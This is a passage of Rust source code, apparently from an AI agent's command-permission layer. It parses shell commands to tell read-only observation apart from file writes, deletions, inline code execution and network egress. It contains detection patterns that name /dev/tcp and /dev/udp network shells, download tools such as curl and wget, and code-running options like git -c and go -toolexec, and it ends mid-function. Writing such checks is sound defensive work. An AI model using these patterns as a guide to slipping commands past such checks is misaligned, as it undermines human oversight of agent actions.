fn parse_shell(scanned: &Scan) -> Option<Vec<ShellCommand>> {
let mut pieces = Vec::new();
for (index, segment) in scanned.segments.iter().enumerate() {
if !segment.trim().is_empty() {
let words = strip_redirections(shell_words::split(segment).ok()?);
pieces.push(Piece::Words(words));
}
if let Some(&separator) = scanned.separators.get(index) {
pieces.push(match separator {
'(' => Piece::Open,
')' => Piece::Close,
other => Piece::Separator(other),
});
}
}
for (index, piece) in pieces.iter().enumerate() {
if matches!(piece, Piece::Words(words) if words.is_empty())
&& !matches!(index.checked_sub(1).map(|i| &pieces[i]), Some(Piece::Close))
{
return None;
}
}
ShellParser { pieces, pos: 0 }.list(ListEnd::Input)
}
fn substitute_var(token: &str, var: &str, value: &str) -> String {
let braced = format!("${{{var}}}");
let bare = format!("${var}");
let mut out = String::with_capacity(token.len());
let mut rest = token;
while let Some(index) = rest.find('$') {
out.push_str(&rest[..index]);
let tail = &rest[index..];
if let Some(after) = tail.strip_prefix(&braced) {
out.push_str(value);
rest = after;
} else if let Some(after) = tail
.strip_prefix(&bare)
.filter(|after| !after.starts_with(|c: char| c == '_' || c.is_ascii_alphanumeric()))
{
out.push_str(value);
rest = after;
} else {
out.push('$');
rest = &tail[1..];
}
}
out.push_str(rest);
out
}
fn bind_var(commands: &[ShellCommand], var: &str, value: &str) -> Vec<ShellCommand> {
commands
.iter()
.map(|command| match command {
ShellCommand::Simple(tokens) => ShellCommand::Simple(
tokens
.iter()
.map(|token| substitute_var(token, var, value))
.collect(),
),
ShellCommand::Subshell(inner) => ShellCommand::Subshell(bind_var(inner, var, value)),
ShellCommand::For {
var: inner_var,
words,
body,
} => ShellCommand::For {
var: inner_var.clone(),
words: words
.iter()
.map(|word| substitute_var(word, var, value))
.collect(),
body: if inner_var == var {
body.clone()
} else {
bind_var(body, var, value)
},
},
})
.collect()
}
fn flatten_commands(commands: &[ShellCommand], out: &mut Vec<Vec<String>>) -> Option<()> {
for command in commands {
match command {
ShellCommand::Simple(tokens) => out.push(tokens.clone()),
ShellCommand::Subshell(inner) => flatten_commands(inner, out)?,
ShellCommand::For { var, words, body } => {
if words.is_empty() {
flatten_commands(body, out)?;
}
for word in words {
if word.is_empty()
|| word.starts_with('-')
|| word
.chars()
.any(|c| c.is_whitespace() || matches!(c, '$' | '`' | '"' | '\''))
{
return None;
}
flatten_commands(&bind_var(body, var, word), out)?;
}
}
}
}
Some(())
}
fn simple_commands(scanned: &Scan) -> Option<Vec<Vec<String>>> {
let mut out = Vec::new();
flatten_commands(&parse_shell(scanned)?, &mut out)?;
Some(out)
}
fn runs_inline_code(program: &str, args: &[String]) -> bool {
let option = |names: &[&str]| {
args.iter().any(|arg| {
names.iter().any(|name| match arg.strip_prefix(name) {
Some(_) if name.len() == 2 => true,
Some(rest) => rest.is_empty() || rest.starts_with('='),
None => false,
})
})
};
match program {
"git" => {
option(&["-c", "--config-env", "--exec"])
|| (args.first().is_some_and(|sub| sub == "rebase") && option(&["-x"]))
}
"cargo" => option(&["--config"]),
"make" => option(&["--eval", "-E"]),
"go" => option(&["-toolexec", "--toolexec", "-exec", "--exec"]),
"python" | "python3" | "node" => args.first().is_some_and(|script| {
script == "-" || script == "/dev/stdin" || script.starts_with("/dev/fd/")
}),
_ => false,
}
}
fn local_work_args_ok(program: &str, args: &[String]) -> bool {
if runs_inline_code(program, args) {
return false;
}
if let Some((_, subcommands)) = LOCAL_WORK_SUBCOMMANDS
.iter()
.find(|(name, _)| *name == program)
{
let rest = match program {
"cargo" => args
.iter()
.skip_while(|arg| arg.starts_with('+'))
.collect::<Vec<_>>(),
_ => args.iter().collect(),
};
return rest
.first()
.is_some_and(|subcommand| subcommands.contains(&subcommand.as_str()));
}
match program {
"python" | "python3" | "node" => args.first().is_some_and(|arg| !arg.starts_with('-')),
"find" => !args
.iter()
.any(|arg| arg != "-delete" && FIND_MUTATING_FLAGS.contains(&arg.as_str())),
"ddev" => ddev_query_ok(args),
_ if LOCAL_WORK_PROGRAMS.contains(&program) => true,
_ if OBSERVATION_PROGRAMS.contains(&program) => observation_args_ok(program, args),
_ if in_powershell_table(POWERSHELL_LOCAL_WORK, program)
|| in_powershell_table(POWERSHELL_DELETES, program) =>
{
powershell_args_plain(args)
}
_ => is_powershell_observation(program, args),
}
}
fn basename(program: &str) -> &str {
let name = program.rsplit('/').next().unwrap_or(program);
if cfg!(windows)
&& let Some(stem) = name
.len()
.checked_sub(4)
.filter(|&cut| name.is_char_boundary(cut) && name[cut..].eq_ignore_ascii_case(".exe"))
.map(|cut| &name[..cut])
{
return stem;
}
if cfg!(windows)
&& [
"curl",
"wget",
"iwr",
"irm",
"invoke-webrequest",
"invoke-restmethod",
]
.iter()
.any(|alias| alias.eq_ignore_ascii_case(name))
{
return "invoke-webrequest";
}
name
}
fn is_display_env_assignment(token: &str) -> bool {
is_env_assignment(token)
&& token.split_once('=').is_some_and(|(name, _)| {
matches!(
name,
"TZ" | "LANG"
| "LANGUAGE"
| "LC_ALL"
| "COLUMNS"
| "LINES"
| "NO_COLOR"
| "CLICOLOR"
| "TERM"
) || (name.starts_with("LC_") && name[3..].chars().all(|ch| ch.is_ascii_uppercase()))
})
}
fn without_display_env(tokens: &[String]) -> &[String] {
let start = tokens
.iter()
.take_while(|token| is_display_env_assignment(token))
.count();
&tokens[start..]
}
fn is_env_assignment(token: &str) -> bool {
token.split_once('=').is_some_and(|(name, _)| {
!name.is_empty()
&& name.chars().enumerate().all(|(index, ch)| {
ch == '_' || ch.is_ascii_alphanumeric() && (index > 0 || !ch.is_ascii_digit())
})
})
}
struct Scan {
segments: Vec<String>,
unsafe_syntax: bool,
hidden_syntax: bool,
writes_file: bool,
input_targets: Vec<String>,
output_targets: Vec<String>,
separators: Vec<char>,
}
fn redirect_target(chars: &[char], mut j: usize) -> String {
while chars.get(j).is_some_and(|c| c.is_whitespace()) {
j += 1;
}
chars[j.min(chars.len())..]
.iter()
.take_while(|c| !c.is_whitespace() && !matches!(c, ';' | '|' | '&' | '(' | ')' | '<' | '>'))
.collect()
}
fn scan(command: &str) -> Scan {
let command = shell_text(command);
let chars: Vec<char> = command.chars().collect();
let mut segments = Vec::new();
let mut cur = String::new();
let mut unsafe_syntax = false;
let mut hidden_syntax = false;
let mut writes_file = false;
let mut input_targets = Vec::new();
let mut output_targets = Vec::new();
let mut separators = Vec::new();
let (mut in_single, mut in_double) = (false, false);
let mut i = 0;
while i < chars.len() {
let c = chars[i];
if in_single {
hidden_syntax |= c == '\n';
in_single = c != '\'';
cur.push(c);
i += 1;
continue;
}
let next = chars.get(i + 1).copied();
match c {
'\\' => {
cur.push(c);
if let Some(n) = next {
cur.push(n);
}
i += 2;
continue;
}
'\n' => {
unsafe_syntax = true;
segments.push(std::mem::take(&mut cur));
separators.push(c);
}
'\'' if !in_double => {
in_single = true;
cur.push(c);
}
'"' => {
in_double = !in_double;
cur.push(c);
}
'`' => {
unsafe_syntax = true;
hidden_syntax = true;
cur.push(c);
}
'$' if next == Some('(') || (next == Some('\'') && !in_double) => {
unsafe_syntax = true;
hidden_syntax = true;
cur.push(c);
}
_ if in_double => cur.push(c),
'#' if cur.chars().last().is_none_or(|p| p.is_whitespace()) => {
unsafe_syntax = true;
hidden_syntax = true;
cur.push(c);
}
';' | '(' | ')' => {
if c != ';' {
unsafe_syntax = true;
}
segments.push(std::mem::take(&mut cur));
separators.push(c);
}
'|' | '&' if !(c == '&' && next == Some('>')) => {
segments.push(std::mem::take(&mut cur));
separators.push(c);
}
'&' => cur.push(c),
'<' => {
let target = redirect_target(&chars, i + 1);
let word: String = cur
.chars()
.rev()
.take_while(|c| !c.is_whitespace())
.collect();
let numbered = !word.is_empty() && word.chars().all(|d| d.is_ascii_digit());
if numbered
|| matches!(next, Some('<') | Some('(') | Some('>'))
|| target.is_empty()
{
unsafe_syntax = true;
hidden_syntax = true;
} else if target != "/dev/null" {
input_targets.push(target);
}
cur.push(c);
}
'>' => {
let mut j = i + 1;
if matches!(chars.get(j), Some('>') | Some('|')) {
j += 1;
}
let mut dup = false;
if chars.get(j) == Some(&'&') {
let word = redirect_target(&chars, j + 1);
let digits = word.trim_end_matches('-');
dup = word == "-"
|| (!digits.is_empty()
&& digits.chars().all(|d| d.is_ascii_digit())
&& word.len() - digits.len() <= 1);
j += 1;
}
if next == Some('(') {
unsafe_syntax = true;
hidden_syntax = true;
} else if !dup {
let target = redirect_target(&chars, j);
if target != "/dev/null" {
writes_file = true;
if !is_standard_stream(&target) {
output_targets.push(target);
}
}
}
cur.extend(&chars[i..j]);
i = j;
continue;
}
_ => cur.push(c),
}
i += 1;
}
if in_single || in_double {
unsafe_syntax = true;
hidden_syntax = true;
}
segments.push(cur);
Scan {
segments,
unsafe_syntax,
hidden_syntax,
writes_file,
input_targets,
output_targets,
separators,
}
}
fn is_standard_stream(target: &str) -> bool {
matches!(target, "/dev/stdout" | "/dev/stderr")
|| target
.strip_prefix("/dev/fd/")
.is_some_and(|fd| !fd.is_empty() && fd.chars().all(|c| c.is_ascii_digit()))
}
fn is_redirect_word(token: &str) -> bool {
let t = token.trim_start_matches(|c: char| c.is_ascii_digit());
t.starts_with('>') || t.starts_with('<') || t.starts_with("&>")
}
fn strip_redirections(tokens: Vec<String>) -> Vec<String> {
let mut out = Vec::new();
let mut iter = tokens.into_iter();
while let Some(token) = iter.next() {
if is_redirect_word(&token) {
let bare = token.trim_start_matches(|c: char| c.is_ascii_digit());
if bare.chars().all(|c| matches!(c, '>' | '<' | '&' | '|')) {
iter.next();
}
continue;
}
out.push(token);
}
out
}
fn is_observation_only(command: &str) -> bool {
is_observation(command, false)
}
pub fn is_observation_reading_input(command: &str) -> bool {
is_observation(command, true)
}
fn is_observation(command: &str, allow_input_redirects: bool) -> bool {
let scanned = scan(command);
if (!allow_input_redirects && !scanned.input_targets.is_empty())
|| scanned.hidden_syntax
|| scanned.separators.contains(&'\n')
|| scanned.writes_file
|| command.contains("/dev/tcp/")
|| command.contains("/dev/udp/")
{
return false;
}
let Some(commands) = simple_commands(&scanned) else {
return false;
};
!commands.is_empty() && commands.iter().all(|tokens| observing_command(tokens))
}
fn observing_command(tokens: &[String]) -> bool {
let tokens = without_display_env(tokens);
let Some(first) = tokens.first() else {
return false;
};
if is_env_assignment(first) {
return false;
}
let tokens = if first == "command" {
&tokens[1..]
} else {
tokens
};
let Some(program) = tokens.first() else {
return false;
};
let name = basename(program);
program_path_ok(program) && is_program_observation(name, &tokens[1..])
}
fn tree_args_ok(args: &[String]) -> bool {
let mut iter = args.iter();
while let Some(arg) = iter.next() {
if matches!(arg.as_str(), "-L" | "-I" | "-P") {
if iter.next().is_none() {
return false;
}
} else if let Some(long) = arg.strip_prefix("--") {
if !matches!(long, "noreport" | "dirsfirst") {
return false;
}
} else if let Some(cluster) = arg.strip_prefix('-')
&& (cluster.is_empty() || !cluster.chars().all(|c| "adfshDCn".contains(c)))
{
return false;
}
}
true
}
fn short_cluster_has(arg: &str, letters: &[char]) -> bool {
arg.starts_with('-') && !arg.starts_with("--") && arg.chars().any(|c| letters.contains(&c))
}
fn date_args_observe(args: &[String]) -> bool {
let is_format = |arg: &String| arg.starts_with('+');
args.iter().filter(|arg| is_format(arg)).count() <= 1
&& args.iter().all(|arg| {
is_format(arg)
|| matches!(
arg.as_str(),
"-u" | "--utc" | "--universal" | "-R" | "--rfc-email"
)
|| arg.starts_with("-I")
|| arg == "--iso-8601"
|| arg.starts_with("--iso-8601=")
})
}
fn find_args_observe(args: &[String]) -> bool {
let mut index = 0;
while let Some(arg) = args.get(index) {
match arg.as_str() {
"-exec" | "-execdir" => {
let rest = &args[index + 1..];
let Some(end) = rest
.iter()
.position(|token| matches!(token.as_str(), ";" | "\\;" | "+"))
else {
return false;
};
if end == 0 || !observing_command(&rest[..end]) {
return false;
}
index += end + 2;
}
flag if FIND_MUTATING_FLAGS.contains(&flag) => return false,
_ => index += 1,
}
}
true
}
fn sysctl_args_read(args: &[String]) -> bool {
args.iter().all(|arg| match arg.strip_prefix('-') {
Some(long) if long.starts_with('-') => {
matches!(long, "-all" | "-values" | "-names")
}
Some(cluster) => {
!cluster.is_empty() && cluster.chars().all(|ch| "naAehNqxbdoX".contains(ch))
}
None => {
!arg.contains('=')
&& arg
.chars()
.all(|ch| ch.is_ascii_alphanumeric() || matches!(ch, '.' | '_' | '-'))
}
})
}
fn top_samples_and_exits(args: &[String]) -> bool {
let positive = |value: Option<&String>| {
value.is_some_and(|value| value.parse::<u32>().is_ok_and(|n| n >= 1))
};
let mac = args
.iter()
.position(|arg| arg == "-l")
.is_some_and(|index| positive(args.get(index + 1)));
let batch = args.iter().any(|arg| arg == "-b" || arg == "-bn1")
&& (args.iter().any(|arg| arg == "-bn1")
|| args
.iter()
.position(|arg| arg == "-n")
.is_some_and(|index| positive(args.get(index + 1))));
mac || batch
}
fn is_sleep_duration(arg: &str) -> bool {
let number = arg.strip_suffix(['s', 'm', 'h', 'd']).unwrap_or(arg);
!number.is_empty()
&& number.chars().all(|ch| ch.is_ascii_digit() || ch == '.')
&& number.parse::<f64>().is_ok_and(f64::is_finite)
}
fn observation_args_ok(program: &str, args: &[String]) -> bool {
let any = |pred: &dyn Fn(&str) -> bool| args.iter().any(|arg| pred(arg));
match program {
"find" => find_args_observe(args),
"sysctl" => sysctl_args_read(args),
"top" => top_samples_and_exits(args),
"rg" => !any(&|a| {
a == "--pre"
|| a.starts_with("--pre=")
|| a.starts_with("--pre-glob")
|| a.starts_with("--hostname-bin")
|| a == "--search-zip"
|| short_cluster_has(a, &['z'])
}),
"sort" => !any(&|a| {
a.starts_with("--compress-program")
|| a.starts_with("--output")
|| short_cluster_has(a, &['o'])
}),
"uniq" => {
args.iter()
.filter(|arg| !arg.starts_with('-') || arg.as_str() == "-")
.count()
< 2
}
"tree" => tree_args_ok(args),
"date" => date_args_observe(args),
"hostname" => args
.iter()
.all(|arg| matches!(arg.as_str(), "-s" | "-f" | "--short" | "--fqdn")),
"sleep" => !args.is_empty() && args.iter().all(|arg| is_sleep_duration(arg)),
"file" => !any(&|a| {
a == "--compile" || a.starts_with("--magic-file") || short_cluster_has(a, &['C', 'm'])
}),
"git" => {
let mut index = 0;
while let Some(arg) = args.get(index).filter(|arg| arg.starts_with('-')) {
if arg == "-C" || arg.starts_with("--git-dir") || arg.starts_with("--work-tree") {
return false;
}
if arg == "-c" || arg.starts_with("--config-env") || arg.starts_with("--exec-path")
{
return false;
}
index += 1;
}
let Some(subcommand) = args.get(index) else {
return false;
};
let rest = &args[index + 1..];
if rest
.iter()
.any(|a| a == "--ext-diff" || a.starts_with("--output") || a == "--textconv")
{
return false;
}
if GIT_OBSERVATION_SUBCOMMANDS.contains(&subcommand.as_str()) {
return true;
}
subcommand == "branch"
&& rest.iter().all(|arg| {
matches!(
arg.as_str(),
"--list" | "-a" | "-r" | "-v" | "--show-current"
)
})
}
_ => true,
}
}
fn substitution_bodies(command: &str) -> Vec<String> {
let chars: Vec<char> = command.chars().collect();
let mut bodies = Vec::new();
let mut in_single = false;
let mut i = 0;
while i < chars.len() {
let c = chars[i];
if c == '\'' {
in_single = !in_single;
} else if !in_single && c == '\\' {
i += 1;
} else if !in_single && c == '$' && chars.get(i + 1) == Some(&'(') {
let mut depth = 1;
let mut j = i + 2;
while j < chars.len() && depth > 0 {
match chars[j] {
'(' => depth += 1,
')' => depth -= 1,
_ => {}
}
j += 1;
}
let end = if depth == 0 { j - 1 } else { j };
bodies.push(chars[i + 2..end].iter().collect());
} else if !in_single
&& c == '`'
&& let Some(len) = chars[i + 1..].iter().position(|&x| x == '`')
{
bodies.push(chars[i + 1..i + 1 + len].iter().collect());
i += len + 1;
}
i += 1;
}
bodies
}
fn expanded_commands(command: &str) -> Vec<Vec<String>> {
let mut out = Vec::new();
collect_commands(command, 0, &mut out);
out
}
const MAX_DEPTH: usize = 4;
fn collect_commands(command: &str, depth: usize, out: &mut Vec<Vec<String>>) {
if depth > MAX_DEPTH {
return;
}
for segment in scan(command).segments {
if segment.trim().is_empty() {
continue;
}
let tokens = shell_words::split(&segment)
.unwrap_or_else(|_| segment.split_whitespace().map(str::to_string).collect());
push_with_wrappers(strip_redirections(tokens), depth, out);
}
for body in substitution_bodies(command) {
collect_commands(&body, depth + 1, out);
}
for invocation in structural_shell_invocations(command) {
let mut tokens = vec![invocation.program];
tokens.extend(invocation.arguments);
push_with_wrappers(tokens, depth, out);
}
}
fn push_with_wrappers(mut tokens: Vec<String>, depth: usize, out: &mut Vec<Vec<String>>) {
if depth > MAX_DEPTH || tokens.len() > 64 {
return;
}
while tokens.first().is_some_and(|t| is_env_assignment(t)) {
tokens.remove(0);
}
let Some(first) = tokens.first() else {
return;
};
let program = basename(first).to_string();
out.push(tokens.clone());
if WRAPPERS.contains(&program.as_str()) {
for start in 1..tokens.len() {
push_with_wrappers(tokens[start..].to_vec(), depth + 1, out);
}
}
if program == "find" {
for (index, token) in tokens.iter().enumerate() {
if matches!(token.as_str(), "-exec" | "-execdir" | "-ok" | "-okdir") {
push_with_wrappers(tokens[index + 1..].to_vec(), depth + 1, out);
}
}
}
}
pub fn egress_effect(scheme: &str, host: &str, port: Option<u16>) -> Option<EffectKey> {
let host = host.trim();
let bare = match host.strip_prefix('[') {
Some(inner) => {
let inner = inner.strip_suffix(']')?;
inner.parse::<std::net::Ipv6Addr>().ok()?;
inner
}
None => host,
};
if !valid_host(bare) {
return None;
}
Some(EffectKey::egress(scheme, bare, port))
}
fn valid_host(host: &str) -> bool {
if host.parse::<std::net::Ipv4Addr>().is_ok() || host.parse::<std::net::Ipv6Addr>().is_ok() {
return true;
}
let name = host.strip_suffix('.').unwrap_or(host);
!name.is_empty()
&& name.len() <= 253
&& name.split('.').all(|label| {
!label.is_empty()
&& label.len() <= 63
&& !label.starts_with('-')
&& !label.ends_with('-')
&& label.chars().all(|c| c.is_ascii_alphanumeric() || c == '-')
})
}
fn scheme_default_port(scheme: &str) -> Option<u16> {
match scheme {
"git" => Some(9418),
"rsync" => Some(873),
"ssh" | "git+ssh" | "ssh+git" | "sftp" | "scp" => Some(22),
_ => None,
}
}
pub fn url_effect(raw: &str) -> Option<EffectKey> {
let url = strict_url(raw)?;
url_host_effect(&url)
}
fn strict_url(raw: &str) -> Option<reqwest::Url> {
if raw.is_empty()
|| !raw.is_ascii()
|| raw.chars().any(|c| {
c.is_ascii_whitespace()
|| c.is_ascii_control()
|| matches!(c, '\\' | '$' | '`' | '"' | '\'' | '{' | '}' | '*' | ',')
})
{
return None;
}
let (scheme, rest) = raw.split_once("://")?;
let mut scheme_chars = scheme.chars();
if !scheme_chars.next()?.is_ascii_alphabetic()
|| !scheme_chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '+' | '-' | '.'))
{
return None;
}
let authority_end = rest.find(['/', '?', '#']).unwrap_or(rest.len());
let (authority, tail) = rest.split_at(authority_end);
if tail.contains(['[', ']']) || authority.matches('@').count() > 1 {
return None;
}
let host_port = authority
.rsplit_once('@')
.map_or(authority, |(_, host)| host);
let (host, port) = match host_port.strip_prefix('[') {
Some(after) => {
let (inner, port) = after.split_once(']')?;
(format!("[{inner}]"), port)
}
None => match host_port.split_once(':') {
Some((host, _)) => (host.to_string(), &host_port[host.len()..]),
None => (host_port.to_string(), ""),
},
};
if host.contains(['[', ']']) && !host.starts_with('[') {
return None;
}
if let Some(digits) = port.strip_prefix(':') {
if digits.is_empty() || digits.len() > 5 || !digits.chars().all(|c| c.is_ascii_digit()) {
return None;
}
digits.parse::<u16>().ok()?;
} else if !port.is_empty() {
return None;
}
egress_effect(scheme, &host, None)?;
let url = reqwest::Url::parse(raw).ok()?;
let normalize = |host: &str| host.trim_end_matches('.').to_ascii_lowercase();
(normalize(url.host_str()?) == normalize(&host)).then_some(url)
}
pub fn url_host_effect(url: &reqwest::Url) -> Option<EffectKey> {
let scheme = url.scheme();
let port = url
.port()
.or_else(|| scheme_default_port(scheme))
.or_else(|| url.port_or_known_default())?;
egress_effect(scheme, url.host_str()?, Some(port))
}
fn structural_absolute_path(raw: &str, cwd: Option<&str>) -> Option<String> {
let raw = raw.trim();
if raw.is_empty() || raw.contains(['$', '`', '*', '?', '[', ']', '{', '}', '\\', '\0']) {
return None;
}
let expanded = if raw == "~" || raw.starts_with("~/") {
format!("{}{}", dirs::home_dir()?.to_str()?, &raw[1..])
} else if raw.starts_with('~') {
return None;
} else {
raw.to_string()
};
if crate::BackendPath::is_absolute(&expanded) {
return Some(expanded);
}
let cwd = cwd
.map(str::trim)
.filter(|cwd| crate::BackendPath::is_absolute(cwd))?;
Some(format!("{}/{expanded}", cwd.trim_end_matches('/')))
}
pub fn path_effect(class: EffectClass, raw: &str, cwd: Option<&str>) -> Option<EffectKey> {
let absolute = structural_absolute_path(raw, cwd)?;
let lexical = EffectKey::path(class, &absolute)?;
Some(resolved_on_disk(class, lexical))
}
fn resolved_on_disk(class: EffectClass, lexical: EffectKey) -> EffectKey {
let path = std::path::Path::new(&lexical.target);
let (base, leaf) = match (class, path.parent(), path.file_name()) {
(EffectClass::Delete, Some(parent), Some(name)) => (parent, Some(name)),
_ => (path, None),
};
for ancestor in base.ancestors() {
let Ok(mut real) = dunce::canonicalize(ancestor) else {
continue;
};
if let Ok(rest) = base.strip_prefix(ancestor)
&& !rest.as_os_str().is_empty()
{
real.push(rest);
}
if let Some(leaf) = leaf {
real.push(leaf);
}
return real
.to_str()
.and_then(|real| EffectKey::path(class, real))
.unwrap_or(lexical);
}
lexical
}
pub fn shell_path_effects(
class: EffectClass,
raw: &str,
cwd: Option<&str>,
) -> Option<Vec<EffectKey>> {
let absolute = structural_absolute_path(raw, cwd)?;
let components: Vec<&str> = absolute
.split('/')
.filter(|part| !part.is_empty() && *part != ".")
.collect();
let mut existing = components.len();
let base = loop {
let prefix = format!("/{}", components[..existing].join("/"));
if std::fs::symlink_metadata(&prefix).is_ok() {
break dunce::canonicalize(&prefix).ok()?;
}
existing -= 1;
};
let rest = &components[existing..];
if rest.contains(&"..") {
return None;
}
let mut physical = base;
for part in rest {
physical.push(part);
}
let mut keys = vec![EffectKey::path(class, physical.to_str()?)?];
if class == EffectClass::Delete {
let named = path_effect(class, raw, cwd)?;
if !keys.contains(&named) {
keys.push(named);
}
}
Some(keys)
}
pub fn execution_backend_is_local(backend: &dyn crate::backend::ExecutionBackend) -> bool {
backend.kind() == crate::backend::BackendKind::Local
}
pub fn without_local_paths(mut effects: CallEffects) -> CallEffects {
effects.keys.retain(|key| {
!matches!(
key.class,
EffectClass::Write | EffectClass::Delete | EffectClass::Configuration
)
});
effects.complete = false;
effects.understood = false;
effects
}
pub fn file_tool_write_effects(
backend: &dyn crate::backend::ExecutionBackend,
arguments: &str,
) -> CallEffects {
if !execution_backend_is_local(backend) {
return CallEffects::unknown();
}
let path = serde_json::from_str::<serde_json::Value>(arguments)
.ok()
.and_then(|args| {
["path", "file_path", "file", "filename"]
.iter()
.find_map(|key| {
args.get(*key)
.and_then(|value| value.as_str())
.map(str::to_string)
})
});
match path.and_then(|path| path_effect(EffectClass::Write, &path, None)) {
Some(key) => CallEffects {
keys: vec![key],
complete: true,
understood: false,
},
None => CallEffects::unknown(),
}
}
pub fn shell_call_effects(command: &str, cwd: Option<&str>) -> CallEffects {
let analysis = analyze_shell(command, cwd);
CallEffects {
keys: analysis.keys,
complete: false,
understood: analysis.complete,
}
}
struct ShellAnalysis {
keys: Vec<EffectKey>,
complete: bool,
}
impl ShellAnalysis {
fn add(&mut self, key: EffectKey) {
if !self.keys.contains(&key) {
self.keys.push(key);
}
}
fn opaque(&mut self) {
self.complete = false;
}
fn unresolved(&mut self) {
self.complete = false;
}
fn path(&mut self, class: EffectClass, raw: &str, cwd: Option<&str>) {
if raw.contains(['<', '>']) {
self.unresolved();
return;
}
match shell_path_effects(class, raw, cwd) {
Some(keys) => keys.into_iter().for_each(|key| self.add(key)),
None => self.unresolved(),
}
}
fn egress(&mut self, key: Option<EffectKey>) {
match key {
Some(key) => self.add(key),
None => self.opaque(),
}
}
}
fn executed_text(command: &str) -> String {
let command = shell_text(command);
let chars: Vec<char> = command.chars().collect();
let mut out = String::with_capacity(command.len());
let (mut in_single, mut in_double) = (false, false);
let mut pending: Vec<(String, bool)> = Vec::new();
let mut i = 0;
while i < chars.len() {
let c = chars[i];
if in_single || in_double {
if c == '\n' {
out.push('\0');
} else {
out.push(c);
if c == '\\' && in_double {
if let Some(&next) = chars.get(i + 1) {
out.push(if next == '\n' { '\0' } else { next });
i += 1;
}
} else if (c == '\'' && in_single) || (c == '"' && in_double) {
in_single = false;
in_double = false;
}
}
i += 1;
continue;
}
match c {
'\\' => {
out.push(c);
if let Some(&next) = chars.get(i + 1) {
out.push(next);
i += 1;
}
}
'\'' => {
in_single = true;
out.push(c);
}
'"' => {
in_double = true;
out.push(c);
}
'#' if out
.chars()
.last()
.is_none_or(|p| p.is_whitespace() || matches!(p, ';' | '|' | '&' | '(' | ')')) =>
{
while i < chars.len() && chars[i] != '\n' {
i += 1;
}
continue;
}
'<' if chars.get(i + 1) == Some(&'<') && chars.get(i + 2) != Some(&'<') => {
out.push_str("<<");
let mut j = i + 2;
let strip_tabs = chars.get(j) == Some(&'-');
if strip_tabs {
out.push('-');
j += 1;
}
while chars.get(j).is_some_and(|c| *c == ' ' || *c == '\t') {
out.push(chars[j]);
j += 1;
}
let mut delimiter = String::new();
while let Some(&d) = chars.get(j) {
if d.is_whitespace() || matches!(d, ';' | '|' | '&' | '<' | '>' | '(' | ')') {
break;
}
out.push(d);
if !matches!(d, '\'' | '"' | '\\') {
delimiter.push(d);
}
j += 1;
}
pending.push((delimiter, strip_tabs));
i = j;
continue;
}
'\n' => {
out.push('\n');
for (delimiter, strip_tabs) in std::mem::take(&mut pending) {
loop {
i += 1;
if i >= chars.len() {
break;
}
let end = chars[i..]
.iter()
.position(|c| *c == '\n')
.map_or(chars.len(), |offset| i + offset);
let line: String = chars[i..end].iter().collect();
let line = if strip_tabs {
line.trim_start_matches('\t')
} else {
line.as_str()
};
let done = line == delimiter;
i = end;
if done {
break;
}
}
}
}
_ => out.push(c),
}
i += 1;
}
out
}
fn analyze_shell(command: &str, cwd: Option<&str>) -> ShellAnalysis {
let mut out = ShellAnalysis {
keys: Vec::new(),
complete: true,
};
if command.contains("/dev/tcp/") || command.contains("/dev/udp/") || command.contains("$'") {
out.opaque();
}
let changes_directory = expanded_commands(command)
.iter()
.any(|tokens| matches!(basename(&tokens[0]), "cd" | "pushd" | "popd"));
if changes_directory {
out.unresolved();
}
let mut here: Option<String> = cwd
.map(str::trim)
.filter(|dir| crate::BackendPath::is_absolute(dir))
.map(str::to_string);
for line in executed_text(&command.replace("\\\n", " ")).split('\n') {
let scanned = scan(line);
if scanned.unsafe_syntax {
out.opaque();
}
let line_moves = scanned.segments.iter().any(|segment| {
shell_words::split(segment).is_ok_and(|tokens| {
tokens
.first()
.is_some_and(|program| matches!(basename(program), "cd" | "pushd" | "popd"))
})
});
for target in &scanned.output_targets {
if target.contains(['"', '\'']) || line_moves {
out.unresolved();
} else {
out.path(EffectClass::Write, target, here.as_deref());
}
}
for (index, segment) in scanned.segments.iter().enumerate() {
if segment.trim().is_empty() {
continue;
}
if has_expansion(segment) {
out.opaque();
}
let Ok(tokens) = shell_words::split(segment) else {
out.opaque();
continue;
};
let tokens = strip_redirections(tokens);
match tokens.first().map(|program| basename(program)) {
Some("cd") => {
here = if scanned.separators.iter().any(|c| matches!(c, '(' | ')'))
|| !runs_on_after(&scanned, index)
|| has_expansion(segment)
{
None
} else {
changed_directory(&tokens[1..], here.as_deref())
};
}
Some("pushd" | "popd") => here = None,
_ => segment_effects(&tokens, here.as_deref(), &mut out),
}
}
}
let executed = executed_text(&command.replace("\\\n", " "));
for tokens in expanded_commands(&executed) {
let mut inner = ShellAnalysis {
keys: Vec::new(),
complete: true,
};
segment_effects(&tokens, cwd, &mut inner);
for key in inner.keys {
if key.class == EffectClass::Egress {
out.add(key);
}
}
}
out
}
fn runs_on_after(scanned: &Scan, index: usize) -> bool {
let doubled = |c: char| {
scanned
.segments
.get(index + 1)
.is_some_and(|next| next.trim().is_empty())
&& scanned.separators.get(index + 1) == Some(&c)
};
match scanned.separators.get(index) {
None | Some(';') => true,
Some('&') => doubled('&'),
Some('|') => doubled('|'),
Some(_) => false,
}
}
fn changed_directory(args: &[String], here: Option<&str>) -> Option<String> {
let [target] = args else {
return None;
};
if target.starts_with('-') {
return None;
}
let absolute = structural_absolute_path(target, here)?;
EffectKey::path(EffectClass::Write, &absolute).map(|key| key.target)
}
fn has_expansion(segment: &str) -> bool {
let chars: Vec<char> = segment.chars().collect();
let (mut in_single, mut in_double) = (false, false);
for (index, &c) in chars.iter().enumerate() {
if in_single {
in_single = c != '\'';
continue;
}
if in_double {
match c {
'"' => in_double = false,
'$' | '`' | '\\' => return true,
_ => {}
}
continue;
}
match c {
'\'' => in_single = true,
'"' => in_double = true,
'{' | '}' | '*' | '?' | '[' | ']' | '$' | '`' | '\\' => return true,
'~' => {
let word_start = index == 0 || chars[index - 1].is_whitespace();
let user = chars
.get(index + 1)
.is_some_and(|next| !next.is_whitespace() && *next != '/');
if word_start && user {
return true;
}
}
_ => {}
}
}
false
}
fn segment_effects(tokens: &[String], here: Option<&str>, out: &mut ShellAnalysis) {
let Some(program) = tokens.first() else {
return;
};
let path_ok = !program.contains('/')
|| program
.rsplit_once('/')
.is_some_and(|(dir, _)| SYSTEM_BIN_DIRS.contains(&dir));
if is_env_assignment(program) || !path_ok {
out.opaque();
return;
}
let name = basename(program);
let args = &tokens[1..];
if name != "git" && is_program_observation(name, args) {
return;
}
match name {
"cd" | "pushd" | "popd" => {}
"rm" | "rmdir" | "unlink" => {
